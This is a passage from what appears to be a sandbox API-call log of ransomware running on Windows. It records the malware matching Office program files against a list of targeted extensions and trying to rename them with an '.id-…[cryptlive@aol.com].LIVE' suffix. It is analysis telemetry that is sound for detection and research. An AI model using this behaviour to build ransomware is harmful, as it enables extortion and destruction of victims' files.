lpString2="M.DLL") returned -1 [0149.464] lstrlenW (lpString=".ppt") returned 4 [0149.464] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.464] lstrlenW (lpString=".zip") returned 4 [0149.464] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.464] lstrlenW (lpString=".rar") returned 4 [0149.464] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.464] lstrlenW (lpString=".bz2") returned 4 [0149.464] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.464] lstrlenW (lpString=".7z") returned 3 [0149.464] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString=".dbf") returned 4 [0149.465] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString=".1cd") returned 4 [0149.465] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString=".jpg") returned 4 [0149.465] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString=".doc") returned 4 [0149.465] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString=".docx") returned 5 [0149.465] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0149.465] lstrlenW (lpString=".pdf") returned 4 [0149.465] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString=".xls") returned 4 [0149.465] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString=".xlsx") returned 5 [0149.465] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0149.465] lstrlenW (lpString=".ppt") returned 4 [0149.465] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString=".zip") returned 4 [0149.465] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString=".rar") returned 4 [0149.465] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.465] lstrlenW (lpString=".bz2") returned 4 [0149.465] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.465] lstrlenW (lpString=".7z") returned 3 [0149.465] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.465] lstrlenW (lpString=".dbf") returned 4 [0149.465] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.466] lstrlenW (lpString=".1cd") returned 4 [0149.466] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL") returned 55 [0149.466] lstrlenW (lpString=".jpg") returned 4 [0149.466] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.466] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0149.466] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0149.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.466] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1449312) returned 1 [0149.466] CloseHandle (hObject=0x384) returned 1 [0149.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe")) returned 0x20 [0149.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.467] lstrlenW (lpString=".doc") returned 4 [0149.467] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0149.467] lstrlenW (lpString=".docx") returned 5 [0149.467] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0149.467] lstrlenW (lpString=".pdf") returned 4 [0149.467] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0149.467] lstrlenW (lpString=".xls") returned 4 [0149.467] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0149.467] lstrlenW (lpString=".xlsx") returned 5 [0149.467] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0149.467] lstrlenW (lpString=".ppt") returned 4 [0149.467] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.467] lstrlenW (lpString=".zip") returned 4 [0149.467] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0149.467] lstrlenW (lpString=".rar") returned 4 [0149.467] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0149.467] lstrlenW (lpString=".bz2") returned 4 [0149.467] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0149.467] lstrlenW (lpString=".7z") returned 3 [0149.467] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.467] lstrlenW (lpString=".dbf") returned 4 [0149.467] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0149.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString=".1cd") returned 4 [0149.468] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString=".jpg") returned 4 [0149.468] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString=".doc") returned 4 [0149.468] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0149.468] lstrlenW (lpString=".docx") returned 5 [0149.468] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0149.468] lstrlenW (lpString=".pdf") returned 4 [0149.468] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0149.468] lstrlenW (lpString=".xls") returned 4 [0149.468] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0149.468] lstrlenW (lpString=".xlsx") returned 5 [0149.468] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0149.468] lstrlenW (lpString=".ppt") returned 4 [0149.468] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString=".zip") returned 4 [0149.468] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0149.468] lstrlenW (lpString=".rar") returned 4 [0149.468] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0149.468] lstrlenW (lpString=".bz2") returned 4 [0149.468] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0149.468] lstrlenW (lpString=".7z") returned 3 [0149.468] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString=".dbf") returned 4 [0149.468] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.468] lstrlenW (lpString=".1cd") returned 4 [0149.468] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0149.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE") returned 55 [0149.469] lstrlenW (lpString=".jpg") returned 4 [0149.469] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0149.469] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.469] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0149.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.469] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4532616) returned 1 [0149.469] CloseHandle (hObject=0x384) returned 1 [0149.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll")) returned 0x20 [0149.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.470] lstrlenW (lpString=".doc") returned 4 [0149.470] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.470] lstrlenW (lpString=".docx") returned 5 [0149.470] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0149.470] lstrlenW (lpString=".pdf") returned 4 [0149.470] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.470] lstrlenW (lpString=".xls") returned 4 [0149.470] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.470] lstrlenW (lpString=".xlsx") returned 5 [0149.470] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0149.470] lstrlenW (lpString=".ppt") returned 4 [0149.470] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.470] lstrlenW (lpString=".zip") returned 4 [0149.470] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.470] lstrlenW (lpString=".rar") returned 4 [0149.470] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.470] lstrlenW (lpString=".bz2") returned 4 [0149.470] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.470] lstrlenW (lpString=".7z") returned 3 [0149.470] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.470] lstrlenW (lpString=".dbf") returned 4 [0149.470] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.470] lstrlenW (lpString=".1cd") returned 4 [0149.470] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString=".jpg") returned 4 [0149.471] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString=".doc") returned 4 [0149.471] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString=".docx") returned 5 [0149.471] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0149.471] lstrlenW (lpString=".pdf") returned 4 [0149.471] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString=".xls") returned 4 [0149.471] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString=".xlsx") returned 5 [0149.471] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0149.471] lstrlenW (lpString=".ppt") returned 4 [0149.471] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString=".zip") returned 4 [0149.471] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString=".rar") returned 4 [0149.471] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.471] lstrlenW (lpString=".bz2") returned 4 [0149.471] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.471] lstrlenW (lpString=".7z") returned 3 [0149.471] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString=".dbf") returned 4 [0149.471] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString=".1cd") returned 4 [0149.471] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53 [0149.471] lstrlenW (lpString=".jpg") returned 4 [0149.471] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.472] lstrcmpiW (lpString1=".ACCDU", lpString2=".LIVE") returned -1 [0149.472] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0149.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.475] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6250496) returned 1 [0149.475] CloseHandle (hObject=0x384) returned 1 [0149.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu")) returned 0x20 [0149.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0149.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.475] lstrlenW (lpString=".doc") returned 4 [0149.475] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0149.475] lstrlenW (lpString=".docx") returned 5 [0149.475] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0149.476] lstrlenW (lpString=".pdf") returned 4 [0149.476] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString=".xls") returned 4 [0149.476] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString=".xlsx") returned 5 [0149.476] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0149.476] lstrlenW (lpString=".ppt") returned 4 [0149.476] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.476] lstrlenW (lpString=".zip") returned 4 [0149.476] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString=".rar") returned 4 [0149.476] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString=".bz2") returned 4 [0149.476] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString=".7z") returned 3 [0149.476] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.476] lstrlenW (lpString=".dbf") returned 4 [0149.476] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.476] lstrlenW (lpString=".1cd") returned 4 [0149.476] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.476] lstrlenW (lpString=".jpg") returned 4 [0149.476] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.476] lstrlenW (lpString=".doc") returned 4 [0149.477] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString=".docx") returned 5 [0149.477] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0149.477] lstrlenW (lpString=".pdf") returned 4 [0149.477] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString=".xls") returned 4 [0149.477] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString=".xlsx") returned 5 [0149.477] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0149.477] lstrlenW (lpString=".ppt") returned 4 [0149.477] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.477] lstrlenW (lpString=".zip") returned 4 [0149.477] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString=".rar") returned 4 [0149.477] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString=".bz2") returned 4 [0149.477] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString=".7z") returned 3 [0149.477] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.477] lstrlenW (lpString=".dbf") returned 4 [0149.477] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.477] lstrlenW (lpString=".1cd") returned 4 [0149.477] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65 [0149.477] lstrlenW (lpString=".jpg") returned 4 [0149.477] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0149.477] lstrcmpiW (lpString1=".ACCDU", lpString2=".LIVE") returned -1 [0149.478] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0149.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.498] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3440640) returned 1 [0149.498] CloseHandle (hObject=0x3a0) returned 1 [0149.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu")) returned 0x20 [0149.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0149.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString=".doc") returned 4 [0149.499] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".docx") returned 5 [0149.499] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0149.499] lstrlenW (lpString=".pdf") returned 4 [0149.499] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".xls") returned 4 [0149.499] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".xlsx") returned 5 [0149.499] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0149.499] lstrlenW (lpString=".ppt") returned 4 [0149.499] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString=".zip") returned 4 [0149.499] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".rar") returned 4 [0149.499] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".bz2") returned 4 [0149.499] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".7z") returned 3 [0149.499] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString=".dbf") returned 4 [0149.499] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString=".1cd") returned 4 [0149.499] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString=".jpg") returned 4 [0149.499] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.499] lstrlenW (lpString=".doc") returned 4 [0149.499] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0149.499] lstrlenW (lpString=".docx") returned 5 [0149.500] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0149.500] lstrlenW (lpString=".pdf") returned 4 [0149.500] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString=".xls") returned 4 [0149.500] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString=".xlsx") returned 5 [0149.500] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0149.500] lstrlenW (lpString=".ppt") returned 4 [0149.500] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0149.500] lstrlenW (lpString=".zip") returned 4 [0149.500] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString=".rar") returned 4 [0149.500] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString=".bz2") returned 4 [0149.500] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0149.500] lstrlenW (lpString=".7z") returned 3 [0149.500] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0149.500] lstrlenW 